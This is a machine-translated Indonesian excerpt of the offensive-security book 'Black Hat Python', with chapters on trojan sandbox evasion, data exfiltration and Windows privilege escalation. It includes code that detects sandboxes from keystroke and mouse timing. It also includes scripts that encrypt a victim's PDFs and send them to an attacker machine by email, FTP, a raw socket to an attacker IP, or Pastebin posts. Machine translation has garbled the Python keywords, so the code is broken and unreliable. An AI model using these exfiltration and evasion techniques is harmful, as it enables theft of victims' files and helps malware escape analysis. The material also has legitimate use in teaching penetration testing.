menggunakan perintah standar Linux base64. Trik kecil berikutnya menggunakan modul
http.server untuk memperlakukan direktori kerja saat ini (dalam kasus kami, /tmp/) sebagai root
webnya. Setiap permintaan HTTP untuk file pada port 8100 akan dilayani secara otomatis untuk
Anda. Sekarang letakkan skrip shell_exec.py Anda di kotak Windows Anda dan jalankan. Anda
akan melihat yang berikut ini di terminal Linux Anda:
Ini menunjukkan bahwa skrip Anda telah mengambil kode shell dari server web yang Anda
siapkan menggunakan modul http.server . Jika semuanya berjalan dengan baik, Anda akan
menerima shell kembali ke kerangka kerja Anda dan akan memunculkan calc.exe, mendapatkan
shell TCP terbalik, menampilkan kotak pesan, atau untuk apa pun kode shell Anda dikompilasi.
3. Karena CANVAS adalah alat komersial, lihat tutorial ini untuk menghasilkan muatan Metasploit
di sini: http:// www.offensive-security.com/ metasploit-unleashed/ Generating_Payloads.
134 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kita dapat menggunakan beberapa indikator untuk mencoba menentukan apakah trojan kita
dijalankan di dalam sandbox. Kami akan memantau mesin target kami untuk masukan pengguna
terkini. Lalu kita akan menambahkan beberapa kecerdasan dasar untuk mencari penekanan
tombol, klik mouse, dan klik dua kali. Mesin pada umumnya memiliki banyak interaksi pengguna
pada hari boot, sedangkan lingkungan sandbox biasanya tidak memiliki interaksi pengguna, karena
sandbox biasanya digunakan sebagai teknik analisis malware otomatis. Skrip kami juga akan
mencoba menentukan apakah operator sandbox mengirimkan input berulang kali (misalnya, klik
mouse terus menerus yang mencurigakan dan cepat) untuk mencoba merespons metode deteksi
sandbox yang belum sempurna. Terakhir, kita akan membandingkan waktu terakhir pengguna
berinteraksi dengan mesin versus berapa lama mesin telah berjalan, yang akan memberi kita
gambaran bagus apakah kita berada di dalam sandbox atau tidak.
Kami kemudian dapat menentukan apakah kami ingin melanjutkan eksekusi. Mari mulai
mengerjakan beberapa kode deteksi kotak pasir. Buka sandbox_detect.py dan masukkan kode berikut:
kelas LASTINPUTINFO(Struktur):
bidang_ = [
('Ukuran cb', c_uint),
('Waktu dw', c_ulong)
]
def get_last_input():
struct_lastinputinfo = TERAKHIR PUTINFO()
1 struct_lastinputinfo.cbSize = ukuran(LASTINPUTINFO)
windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
2 run_time = windll.kernel32.GetTickCount()
berlalu = run_time - struct_lastinputinfo.dwTime
print(f"[*] Sudah {berlalu} milidetik sejak kejadian terakhir.")
pengembalian telah berlalu
3 sementara Benar:
dapatkan_masukan_terakhir()
waktu.tidur(1)
Kami menentukan impor yang diperlukan dan membuat struktur LASTINPUTINFO yang akan
menyimpan stempel waktu, dalam milidetik, saat peristiwa masukan terakhir terjadi.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
terdeteksi pada sistem. Selanjutnya, kita membuat fungsi, get_last_input, untuk menentukan waktu input
terakhir. Perhatikan bahwa Anda harus menginisialisasi cbSize 1
variabel dengan ukuran struktur sebelum melakukan panggilan. Kami kemudian memanggil fungsi
GetLastInputInfo , yang mengisi struct_lastinputinfo.dwTime
bidang dengan stempel waktu. Langkah selanjutnya adalah menentukan berapa lama sistem telah berjalan
dengan menggunakan pemanggilan fungsi GetTickCount 2. Waktu yang berlalu adalah jumlah waktu mesin
telah berjalan dikurangi waktu input terakhir. Cuplikan kecil terakhir dari kode 3 adalah kode pengujian
sederhana yang memungkinkan Anda menjalankan skrip lalu menggerakkan mouse, atau menekan
tombol pada keyboard, dan melihat potongan kode baru ini beraksi.
Perlu dicatat bahwa total waktu berjalan sistem dan kejadian input pengguna yang terakhir terdeteksi
dapat bervariasi tergantung pada metode implantasi khusus Anda. Misalnya, jika Anda menanamkan
payload Anda menggunakan taktik phishing, kemungkinan besar pengguna harus mengeklik tautan atau
melakukan operasi lain agar bisa terinfeksi. Artinya, dalam satu atau dua menit terakhir, Anda akan melihat
masukan pengguna. Namun jika Anda melihat mesin telah berjalan selama 10 menit dan masukan terakhir
yang terdeteksi adalah 10 menit yang lalu, kemungkinan besar Anda berada di dalam kotak pasir yang
belum memproses masukan pengguna apa pun. Keputusan penilaian ini adalah bagian dari trojan yang baik
dan bekerja secara konsisten.
Anda dapat menggunakan teknik yang sama saat melakukan polling pada sistem untuk melihat apakah
atau tidak, pengguna sedang menganggur, karena Anda mungkin hanya ingin mulai mengambil
tangkapan layar saat mereka aktif menggunakan mesin. Demikian pula, Anda mungkin hanya ingin
mengirimkan data atau melakukan tugas lain saat pengguna tampak offline. Anda juga dapat, misalnya,
melacak pengguna dari waktu ke waktu untuk menentukan hari dan jam berapa mereka biasanya online.
Dengan mengingat hal ini, mari kita tentukan tiga ambang batas berapa banyak nilai masukan
pengguna yang harus kita deteksi sebelum memutuskan bahwa kita tidak lagi berada di kotak pasir.
Hapus tiga baris terakhir kode pengujian dan tambahkan beberapa kode tambahan untuk melihat
penekanan tombol dan klik mouse. Kami akan menggunakan solusi ctypes murni kali ini, sebagai
lawan dari metode PyWinHook. Anda juga dapat dengan mudah menggunakan PyWinHook untuk tujuan
ini, tetapi memiliki beberapa trik berbeda di kotak peralatan Anda selalu membantu, karena setiap
teknologi antivirus dan sandbox memiliki caranya sendiri untuk mengenali trik ini. Mari kita coding:
Detektor kelas:
def __init__(diri):
self.double_clicks = 0
self.penekanan tombol = 0
self.mouse_clicks = 0
def get_key_press(diri):
1 untuk i dalam rentang (0, 0xff):
2 status = win32api.GetAsyncKeyState(i)
jika status & 0x0001:
3 jika saya == 0x1:
mandiri.mouse_klik += 1
waktu kembali.waktu()
4 elif i > 32 dan i < 127:
self.penekanan tombol += 1
kembali Tidak ada
136 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami membuat kelas Detektor dan menginisialisasi klik dan penekanan tombol ke nol.
Metode get_key_press memberi tahu kita jumlah klik mouse, waktu klik mouse, dan
berapa banyak penekanan tombol yang dilakukan target. Ini bekerja dengan mengulangi
rentang kunci input 1 yang valid; untuk setiap tombol, kami memeriksa apakah telah
ditekan menggunakan panggilan fungsi GetAsyncKeyState 2. Jika status kunci menunjukkan
bahwa ia ditekan (status & 0x0001 benar), kami memeriksa apakah nilainya adalah 0x1 3,
yang merupakan kode kunci virtual untuk klik tombol kiri mouse. Kami menambah jumlah
total klik mouse dan mengembalikan stempel waktu saat ini sehingga kami dapat
melakukan perhitungan waktu di kemudian hari. Kami juga memeriksa apakah ada
penekanan tombol ASCII pada keyboard 4 dan, jika demikian, cukup tambahkan jumlah
penekanan tombol yang terdeteksi. Sekarang mari kita gabungkan hasil dari fungsi ini
ke dalam loop deteksi sandbox utama kita. Tambahkan metode berikut ke
sandbox_detect.py:
1 max_double_clicks = 10
max_keystrokes = acak.randint(10,25)
max_mouse_clicks = acak.randint(5,25)
max_input_threshold = 30000
2 masukan_terakhir = dapatkan_input_terakhir()
jika input_terakhir >= ambang_input_maks:
sys.keluar(0)
deteksi_lengkap = Salah
sementara tidak deteksi_lengkap:
3 waktu_tekan tombol = self.get_key_press()
jika keypress_time bukan None dan previous_timestamp bukan None:
4 berlalu = waktu_tekan tombol - stempel waktu_sebelumnya
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Baiklah. Perhatikan lekukan pada blok kode ini! Kita mulai dengan mendefinisikan beberapa variabel
1 untuk melacak waktu klik mouse dan tiga ambang batas yang berkaitan dengan berapa banyak penekanan
tombol, klik mouse, atau klik dua kali yang kita sukai sebelum menganggap diri kita berjalan di luar kotak
pasir. Kami mengacak ambang batas ini pada setiap proses, namun tentu saja Anda dapat menetapkan
ambang batas Anda sendiri berdasarkan pengujian Anda sendiri.
Kami kemudian mengambil waktu yang telah berlalu 2 sejak beberapa bentuk masukan pengguna
telah didaftarkan pada sistem, dan jika kami merasa sudah terlalu lama sejak kami melihat masukan
tersebut (berdasarkan bagaimana infeksi terjadi, seperti disebutkan sebelumnya ), kita melakukan
penyelamatan dan trojan mati. Alih-alih mati di sini, trojan Anda bisa melakukan beberapa aktivitas
berbahaya seperti membaca kunci registri acak atau memeriksa file. Setelah kita melewati pemeriksaan
awal ini, kita beralih ke loop penekanan tombol utama dan deteksi klik mouse.
Pertama-tama kita memeriksa penekanan tombol atau klik mouse 3, mengetahui bahwa jika
fungsi mengembalikan nilai, itu adalah stempel waktu saat penekanan tombol atau klik mouse terjadi.
Selanjutnya, kita menghitung waktu yang berlalu antara klik mouse4
lalu bandingkan dengan ambang batas 5 kami untuk menentukan apakah itu adalah klik dua kali.
Bersamaan dengan deteksi klik dua kali, kami ingin mengetahui apakah operator sandbox telah
mengalirkan peristiwa klik 6 ke dalam sandbox untuk mencoba memalsukan teknik deteksi sandbox.
Misalnya, akan terasa aneh melihat 100 klik dua kali berturut-turut selama penggunaan komputer
pada umumnya.
Jika jumlah maksimum klik ganda telah tercapai dan terjadi secara berurutan 7, kami melakukan
bail out. Langkah terakhir kita adalah melihat apakah kita telah berhasil melewati semua pemeriksaan
dan mencapai jumlah maksimum klik, penekanan tombol, dan klik dua kali 8; jika demikian, kami
keluar dari fungsi deteksi kotak pasir kami.
Kami mendorong Anda untuk mengubah dan bermain-main dengan pengaturan serta menambahkan
fitur tambahan, seperti deteksi mesin virtual. Mungkin ada baiknya untuk melacak penggunaan umum
dalam hal klik mouse, klik dua kali, dan penekanan tombol di beberapa komputer yang Anda miliki
(yang kami maksud adalah komputer yang benar-benar Anda miliki—bukan komputer yang pernah Anda
retas!) untuk mengetahui perasaan Anda. tempat bahagianya adalah. Tergantung pada target Anda,
Anda mungkin menginginkan pengaturan yang lebih paranoid, atau Anda mungkin tidak peduli dengan
deteksi sandbox sama sekali.
Menggunakan alat yang Anda kembangkan dalam bab ini dapat bertindak sebagai lapisan dasar fitur
untuk diluncurkan di trojan Anda, dan karena modularitas kerangka kerja trojan kami, Anda dapat memilih
untuk menerapkan salah satu dari fitur tersebut.
138 Bab 8
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
9
MENYENANGKAN DENGAN EXFILTR ATION
jaringan internal.
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Dalam bab ini, kami akan membuat alat yang memungkinkan Anda mengekstrak data
terenkripsi. Pertama, kita akan menulis skrip untuk mengenkripsi dan mendekripsi file. Kami
kemudian akan menggunakan skrip tersebut untuk mengenkripsi informasi dan mentransfernya
dari sistem menggunakan tiga metode: email, transfer file, dan posting ke server web. Untuk
masing-masing metode ini, kami akan menulis alat yang tidak bergantung pada platform dan
alat khusus Windows.
Untuk fungsi khusus Windows, kami akan mengandalkan perpustakaan PyWin32
kami gunakan di Bab 8, terutama paket win32com . Otomatisasi Windows COM (Component
Object Model) melayani sejumlah kegunaan praktis—mulai dari berinteraksi dengan layanan
berbasis jaringan hingga menyematkan spreadsheet Microsoft Excel ke dalam aplikasi Anda
sendiri. Semua versi Windows, dimulai dengan XP, memungkinkan Anda menyematkan objek
COM Internet Explorer ke dalam aplikasi, dan kita akan memanfaatkan kemampuan ini dalam bab
ini.
Sekarang, buka cryptor.py dan mari impor perpustakaan yang kita perlukan untuk memulai:
impor base64
impor zlib
Kami akan membuat proses enkripsi hibrid, menggunakan enkripsi simetris dan asimetris untuk
mendapatkan yang terbaik dari kedua dunia. Sandi AES adalah contoh enkripsi simetris 1: disebut
simetris karena menggunakan satu kunci untuk enkripsi dan dekripsi. Ini sangat cepat, dan dapat
menangani teks dalam jumlah besar. Itulah metode enkripsi yang akan kita gunakan untuk
mengenkripsi informasi yang ingin kita eksfiltrasi. Kami juga mengimpor cipher RSA 2 asimetris ,
yang menggunakan teknik kunci publik/kunci pribadi. Ia bergantung pada satu kunci untuk
enkripsi (biasanya kunci publik) dan kunci lainnya untuk dekripsi (biasanya kunci privat). Kami akan
menggunakan sandi ini untuk mengenkripsi kunci tunggal yang digunakan dalam enkripsi AES.
Enkripsi asimetris cocok untuk informasi berukuran kecil, sehingga sempurna untuk mengenkripsi
kunci AES. Metode penggunaan kedua jenis enkripsi ini disebut sistem hibrid, dan ini sangat
umum. Misalnya, komunikasi TLS antara browser Anda dan server web melibatkan sistem hibrid.
140 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Sebelum kita dapat mulai mengenkripsi atau mendekripsi, kita perlu membuat kunci publik
dan privat untuk enkripsi RSA asimetris. Artinya, kita perlu membuat fungsi pembangkitan kunci
RSA. Mari kita mulai dengan menambahkan fungsi generate ke cryptor.py:
def menghasilkan():
kunci_baru = RSA.hasilkan(2048)
private_key = kunci_baru.exportKey()
public_key = new_key.publickey().exportKey()
Itu benar—Python sangat keren sehingga kita bisa melakukan ini hanya dengan beberapa
baris kode. Blok kode ini menghasilkan pasangan kunci pribadi dan publik dalam file bernama
key.pri dan key.pub. Sekarang mari kita buat fungsi pembantu kecil sehingga kita bisa
mengambil kunci publik atau privat:
Kami meneruskan fungsi ini dengan jenis kunci (pub atau pri), baca yang sesuai
file, dan mengembalikan objek sandi dan ukuran kunci RSA dalam byte.
Sekarang kita telah membuat dua kunci dan memiliki fungsi untuk mengembalikan sebuah
Sandi RSA dari kunci yang dihasilkan, mari kita mulai mengenkripsi data:
2 kunci_sesi = get_random_bytes(16)
cipher_aes = AES.baru(kunci_sesi, AES.MODE_EAX)
3 teks sandi, tag = cipher_aes.encrypt_and_digest(teks_terkompresi)
cipher_rsa, _ 4 = get_rsa_cipher('pub')
enkripsi_session_key = cipher_rsa.encrypt(session_key)
Kami meneruskan teks biasa sebagai byte dan mengompresnya 1. Kami kemudian
membuat kunci sesi acak untuk digunakan dalam sandi AES 2 dan mengenkripsi teks biasa
yang dikompresi menggunakan sandi 3 tersebut. Sekarang informasinya telah dienkripsi, kita
perlu meneruskannya kunci sesi sebagai bagian dari payload yang dikembalikan, bersama
dengan ciphertext itu sendiri, sehingga dapat didekripsi di sisi lain. Untuk menambahkan
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
kunci sesi, kami mengenkripsinya dengan kunci RSA yang dihasilkan dari kunci publik 4 yang dihasilkan.
Kami memasukkan semua informasi yang kami perlukan untuk mendekripsi ke dalam satu muatan
berbayar 5, menyandikannya dengan base64, dan mengembalikan string terenkripsi yang dihasilkan 6.
Sekarang mari kita isi fungsi dekripsi :
2 enkripsi_session_key = enkripsi_bytes.baca(ukuran_kunci_in_bytes)
nonce = terenkripsi_bytes.baca(16)
tag = terenkripsi_bytes.baca(16)
teks sandi = terenkripsi_bytes.baca()
3 session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.baru(session_key, AES.MODE_EAX, nonce)
4 didekripsi = cipher_aes.decrypt_and_verify(teks sandi, tag)
Untuk mendekripsi, kami membalik langkah dari fungsi enkripsi . Pertama, kita mendekode
string base64 menjadi byte 1. Kemudian kita membaca kunci sesi terenkripsi, bersama dengan
parameter lain yang perlu kita dekripsi, dari string byte terenkripsi 2. Kita mendekripsi kunci sesi
menggunakan kunci privat RSA 3 dan gunakan kunci itu untuk mendekripsi pesan itu sendiri dengan
sandi AES 4.
Terakhir, kami mendekompresinya menjadi string byte teks biasa 5 dan mengembalikannya.
Selanjutnya, blok utama ini memudahkan untuk menguji fungsi:
Dalam satu langkah, kita menghasilkan kunci publik dan pribadi 1. Kita hanya memanggil
fungsi generate karena kita harus membuat kunci sebelum kita dapat menggunakannya. Sekarang
kita dapat mengedit blok utama untuk menggunakan tombol:
Eksfiltrasi Email
Sekarang kita dapat dengan mudah mengenkripsi dan mendekripsi informasi, mari tulis beberapa
metode untuk mengekstrak informasi yang telah kita enkripsi. Buka email_
exfil.py, yang akan kami gunakan untuk mengirimkan informasi terenkripsi melalui email:
1 impor smtplib
waktu impor
142 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
2 impor win32com.client
3 smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = '[email protected]'
smtp_password = 'seKret'
tgt_accts = ['[email protected]']
Pertama, kita mengimpor smptlib, yang kita perlukan untuk fungsi email lintas
platform 1. Kita akan menggunakan paket win32com untuk menulis fungsi khusus
Windows 2. Untuk menggunakan klien email SMTP, kita perlu terhubung ke Simple
Mail Transfer Server protokol (SMTP) (contohnya mungkin smtp.gmail.com
jika Anda mempunyai akun Gmail), jadi kita tentukan nama server, port yang menerima
koneksi, nama akun, dan kata sandi akun 3. Selanjutnya, mari kita tulis fungsi platform-
independen kami plain_email:
#server.set_debuglevel(1)
3 server.sendmail(smtp_acct, tgt_accts, pesan)
waktu.tidur(1)
server.keluar()
Fungsi ini mengambil subjek dan konten sebagai masukan dan kemudian
membentuk pesan 1 yang menggabungkan data server SMTP dan konten pesan.
Subjeknya adalah nama file yang berisi konten di mesin korban . Isinya akan
berupa string terenkripsi yang dikembalikan dari fungsi enkripsi . Untuk menambah
kerahasiaan, Anda dapat mengirimkan string terenkripsi sebagai subjek pesan.
Selanjutnya, kita terhubung ke server dan login dengan nama akun dan kata
sandi 2. Kemudian kita memanggil metode sendmail dengan informasi akun kita,
serta akun target untuk mengirim email, dan, terakhir, pesan itu sendiri 3. Jika
Anda memiliki masalah dengan fungsi tersebut, Anda dapat mengatur atribut
debuglevel sehingga Anda dapat melihat koneksi di konsol Anda.
Sekarang mari kita tulis fungsi khusus Windows untuk melakukan teknik
yang sama:
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Setelah Anda menggunakan fungsi ini untuk mengirim file terenkripsi ke penyerang Anda
mesin, Anda akan membuka klien email Anda, memilih pesan, dan menyalin dan
menempelkannya ke file baru untuk mendekripsinya. Anda kemudian dapat membaca file
itu untuk mendekripsinya menggunakan fungsi dekripsi di cryptor.py.
impor ftplib
impor mereka
soket impor
impor file win32
Kami mengimpor ftplib, yang akan kami gunakan untuk fungsi platform-independen,
dan win32file, untuk fungsi khusus Windows.
Kami sebagai penulis menyiapkan mesin penyerang Kali kami untuk mengaktifkan
server FTP dan menerima unggahan file anonim. Dalam fungsi plain_ftp , kita meneruskan
jalur ke file yang ingin kita transfer (docpath) dan alamat IP server FTP (mesin Kali), yang
ditetapkan ke variabel server 1.
Menggunakan ftplib Python memudahkan untuk membuat koneksi ke server,
login 2, dan navigasikan ke direktori target 3. Terakhir, kita menulis file ke direktori target 4.
144 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
def transmisi(jalur_dokumen):
klien = soket.socket()
1 klien.koneksi(('192.168.1.207', 10000))
dengan open(document_path, 'rb') sebagai f:
2 win32file.TransmitFile(
klien,
win32file._get_osfhandle(f.fileno()),
0, 0, Tidak ada, 0, b'', b'')
Sama seperti yang kita lakukan di Bab 2, kita membuka soket ke pendengar di
mesin penyerang menggunakan port pilihan kita; di sini, kami menggunakan port 10000 1.
Kemudian kita gunakan fungsi win32file.TransmitFile untuk mentransfer file 2.
Blok utama menyediakan tes sederhana dengan mengirimkan file (mysecrets.txt
dalam hal ini) ke mesin pendengar:
Setelah kami menerima file terenkripsi, kami dapat membaca file tersebut untuk
mendekripsinya.
impor mereka
impor acak
2 permintaan impor
waktu impor
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami mengimpor permintaan untuk menangani fungsi 2 yang tidak bergantung pada
platform, dan kami akan menggunakan kelas klien win32com untuk fungsi khusus Windows 1.
Kami akan mengautentikasi ke https:// pastebin.com/ server web dan unggah string
terenkripsi. Untuk mengautentikasi, kami menentukan nama pengguna dan kata sandi
serta api_dev_key 3.
Sekarang kita sudah menentukan impor dan pengaturannya, mari kita tulis
fungsi platform-independen plain_paste:
4 paste_url = 'https://pastebin.com/api/api_post.php'
tempel_data = {
'api_paste_name': judul,
'api_paste_code': isi.decode(),
'api_dev_key': api_dev_key,
'api_user_key': api_user_key,
'api_option': 'tempel',
'api_paste_pribadi': 0,
}
5 r = permintaan.posting(paste_url, data=paste_data)
cetak(r.status_code)
cetak(r.teks)
Seperti fungsi email sebelumnya, fungsi plain_paste menerima nama file untuk
judul dan konten terenkripsi sebagai argumen 1. Anda perlu membuat dua permintaan
untuk membuat tempel dengan nama pengguna Anda sendiri. Pertama, buat
postingan ke API login , tentukan nama pengguna Anda, api_dev_
kunci, dan kata sandi 2. Respon dari postingan itu adalah api_user_key Anda. Sedikit data
itulah yang Anda perlukan untuk membuat tempel dengan nama pengguna Anda sendiri 3.
Permintaan kedua adalah ke postingan API 4. Kirimkan nama paste Anda (nama file adalah
judul kami) dan isinya, bersama dengan pengguna dan kunci API dev Anda 5. Ketika fungsi
selesai, Anda harus bisa login ke akun Anda di https:// pastebin.com/ dan lihat konten
terenkripsi Anda. Anda dapat mengunduh tempel dari dasbor Anda untuk mendekripsi.
Selanjutnya, kami akan menulis teknik khusus Windows untuk melakukan tempel
menggunakan Internet Explorer. Internet Explorer, katamu? Meskipun browser lain, seperti
Google Chrome, Microsoft Edge, dan Mozilla Firefox lebih populer saat ini, banyak
lingkungan perusahaan masih menggunakan Internet Explorer sebagai browser default
mereka. Dan tentu saja, pada banyak versi Windows, Anda tidak dapat menghapus Internet
Explorer dari sistem Windows—jadi teknik ini hampir selalu tersedia untuk trojan Windows
Anda.
Mari kita lihat bagaimana kita dapat memanfaatkan Internet Explorer untuk membantu menyaring informasi.
koneksi dari jaringan target. Seorang rekan peneliti keamanan Kanada,
146 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1 def tunggu_untuk_browser(peramban):
sementara browser.ReadyState != 4 dan browser.ReadyState != 'selesai':
waktu.tidur(0,1)
2 def acak_tidur():
waktu.tidur(acak.randint(5,10))
acak_tidur()
jika ie.Dokumen.forms[0].id == 'w0':
yaitu.dokumen.forms[0].submit()
tunggu_untuk_browser(yaitu)
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Tak satu pun dari kode ini yang terlihat sangat baru saat ini. Kami hanya berburu-
melalui DOM untuk menemukan tempat memposting judul dan isi postingan blog. Fungsi kirim
menerima instance browser, serta nama file dan konten file terenkripsi untuk dikirim.
Sekarang kita sudah bisa login dan posting ke Pastebin, mari kita finishing
sentuhan di tempat untuk skrip kami:
yaitu.Navigate('https://pastebin.com/login')
tunggu_untuk_browser(yaitu)
masuk (yaitu)
yaitu.Navigasi('https://pastebin.com/')
tunggu_untuk_browser(yaitu)
kirim(yaitu, judul, isi.decode())
3 yaitu.Keluar()
Fungsi ie_paste adalah fungsi yang akan kita panggil untuk setiap dokumen yang kita inginkan
simpan di Pastebin. Pertama-tama buatlah instance baru dari objek COM Internet Explorer 1.
Yang rapi adalah Anda dapat mengatur prosesnya agar terlihat atau tidak 2. Untuk debugging,
biarkan diatur ke 1, tetapi untuk siluman maksimum, Anda pasti ingin mengatur ke 0. Ini sangat
berguna jika, misalnya, trojan Anda mendeteksi aktivitas lain yang sedang terjadi; dalam hal ini, Anda
dapat mulai mengeksfiltrasi dokumen, yang mungkin membantu untuk lebih memadukan aktivitas
Anda dengan aktivitas pengguna. Setelah kita memanggil semua fungsi pembantu, kita cukup
mematikan instance Internet Explorer 3 dan kembali.
Menyatukan Semuanya
Terakhir, kita menggabungkan metode eksfiltrasi dengan exfil.py, yang dapat kita panggil untuk
mengeksfiltrasi file menggunakan salah satu metode yang baru saja kita tulis:
148 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
impor mereka
2 EXFIL = {
'pandangan': pandangan,
'email_polos': email_polos,
'plain_ftp': plain_ftp,
'mentransmisikan': mengirimkan,
'ie_paste': yaitu_paste,
'pasta_polos': tempel_polos,
}
Pertama, impor modul dan fungsi yang baru saja Anda tulis 1. Kemudian, buat kamus
bernama EXFIL yang nilainya sesuai dengan fungsi yang diimpor 2. Ini akan membuat pemanggilan
fungsi eksfiltrasi yang berbeda menjadi sangat mudah.
Nilai adalah nama fungsi, karena dalam Python, fungsi adalah warga kelas satu dan dapat
digunakan sebagai parameter. Teknik ini terkadang disebut pengiriman kamus. Ini berfungsi
seperti pernyataan kasus dalam bahasa lain.
Sekarang kita perlu membuat fungsi yang akan menemukan dokumen yang kita inginkan
untuk mengekstraksi:
def temukan_docs(doc_type='.pdf'):
1 untuk induk, nama
_, file di os.walk('c:\\'):
untuk nama file dalam nama file:
jika nama file.berakhir dengan(doc_type):
document_path = os.path.join(induk, nama file)
2 menghasilkan document_path
Generator find_docs menelusuri seluruh sistem file untuk memeriksa dokumen PDF 1. Ketika
menemukannya, ia mengembalikan jalur lengkap dan mengembalikan eksekusi ke pemanggil 2.
3 EXFIL[metode](nama file)
os.unlink(nama file)
kalau tidak:
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Kami meneruskan fungsi exfiltrate jalur ke dokumen dan metode eksfiltrasi yang ingin kami gunakan
1. Ketika metode ini melibatkan transfer file (transmit atau plain_ftp), kami perlu menyediakan file
sebenarnya, bukan string yang disandikan. Dalam hal ini, kita membaca file dari sumbernya,
mengenkripsi isinya, dan menulis file baru ke direktori sementara 2. Kita memanggil kamus EXFIL untuk
mengirimkan metode yang sesuai, meneruskan jalur dokumen terenkripsi baru untuk mengeksfiltrasi file
3 dan kemudian hapus file dari direktori sementara.
Untuk metode lainnya, kita tidak perlu menulis file baru; sebagai gantinya, kita hanya perlu
membaca file yang akan dieksfiltrasi 4, mengenkripsi isinya, dan memanggil kamus EXFIL untuk
mengirim email atau menempelkan informasi terenkripsi 5.
Di blok utama, kami mengulangi semua dokumen yang ditemukan. Sebagai pengujian, kami
mengekstraknya melalui metode plain_paste , meskipun Anda dapat memilih salah satu dari enam
fungsi yang kami tetapkan:
Menendang Ban
Ada banyak bagian yang bergerak pada kode ini, tetapi alat ini cukup mudah digunakan.
Cukup jalankan skrip exfil.py Anda dari sebuah host dan tunggu hingga skrip tersebut menunjukkan
bahwa skrip tersebut telah berhasil mengeksfiltrasi file melalui email, FTP, atau Pastebin.
Jika Anda membiarkan Internet Explorer terlihat saat menjalankan file paste_exfile.
ie_paste fungsi, Anda seharusnya bisa melihat seluruh proses.
Setelah selesai, Anda seharusnya dapat menelusuri halaman Pastebin Anda dan melihat sesuatu seperti
Gambar 9-1.
150 Bab 9
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Cuplikan kode ini membuka file tempel yang diunduh 1, mendekripsi konten, dan
menulis konten yang didekripsi sebagai file baru 2. Anda kemudian dapat membuka file
baru dengan pembaca PDF untuk melihat peta topografi yang berisi dokumen asli yang
didekripsi peta dari mesin korban.
Anda sekarang memiliki beberapa alat untuk eksfiltrasi di kotak peralatan Anda. Yang
mana yang Anda pilih akan bergantung pada sifat jaringan korban Anda dan tingkat
keamanan yang digunakan pada jaringan tersebut.
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
10
HAK ISTIMEWA JENDELA
ESKALASI
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
memiliki tugas otomatis dan bawaan yang berperilaku sama. Kami akan mencoba memanfaatkan
proses dengan hak istimewa tinggi yang menangani file atau mengeksekusi biner yang
dapat ditulis oleh pengguna dengan hak istimewa rendah. Ada banyak cara bagi Anda untuk
mencoba meningkatkan hak istimewa di Windows, dan kami hanya akan membahas beberapa saja.
Namun, ketika Anda memahami konsep inti ini, Anda dapat memperluas skrip Anda untuk mulai
menjelajahi sudut gelap dan pengap lainnya dari target Windows Anda.
Menginstal Prasyarat
Kita perlu menginstal beberapa perpustakaan untuk menulis perkakas di bab ini.
Jalankan yang berikut ini di shell cmd.exe di Windows:
Anda mungkin telah menginstal pyinstaller saat membuat keylogger dan pengambil
tangkapan layar di Bab 8, namun jika belum, instal sekarang (Anda dapat menggunakan pip).
Selanjutnya, kita akan membuat layanan sampel yang akan kita gunakan untuk menguji skrip pemantauan kita.
impor mereka
manajer layanan impor
impor tutup
subproses impor
sistem impor
impor win32event
impor layanan win32
impor win32serviceutil
SRCDIR = 'C:\\Pengguna\\tim\\kerja'
TGTDIR = 'C:\\Windows\\TEMP'
154 Bab 10
Machine Translated by Google
Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Di sini, kita melakukan impor, mengatur direktori sumber untuk file skrip, dan kemudian
mengatur direktori target tempat layanan akan menjalankannya. Sekarang, kita akan membuat
layanan sebenarnya menggunakan kelas:
kelas BHServerSvc(win32serviceutil.ServiceFramework):
_svc_name_ = "Layanan BlackHat"
_svc_display_name_ = "Layanan Topi Hitam"
_svc_description_ = ("Mengeksekusi VBScript secara berkala." +
"
Apa yang mungkin salah?")
1 def __init__(diri,args):
self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
self.timeout = 1000 * 60
win32serviceutil.ServiceFramework.__init__(mandiri, argumen)
self.hWaitStop = win32event.CreateEvent(Tidak Ada, 0, 0, Tidak Ada)
2 def SvcStop(mandiri):
mandiri.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
3 def SvcDoRun(mandiri):
mandiri.ReportServiceStatus(win32service.SERVICE_RUNNING)
mandiri.utama()
Kelas ini adalah kerangka dari apa yang harus disediakan oleh layanan apa pun. Ini
mewarisi dari win32serviceutil.ServiceFramework dan mendefinisikan tiga metode.
Dalam metode __init__ , kita menginisialisasi kerangka kerja, menentukan lokasi skrip yang
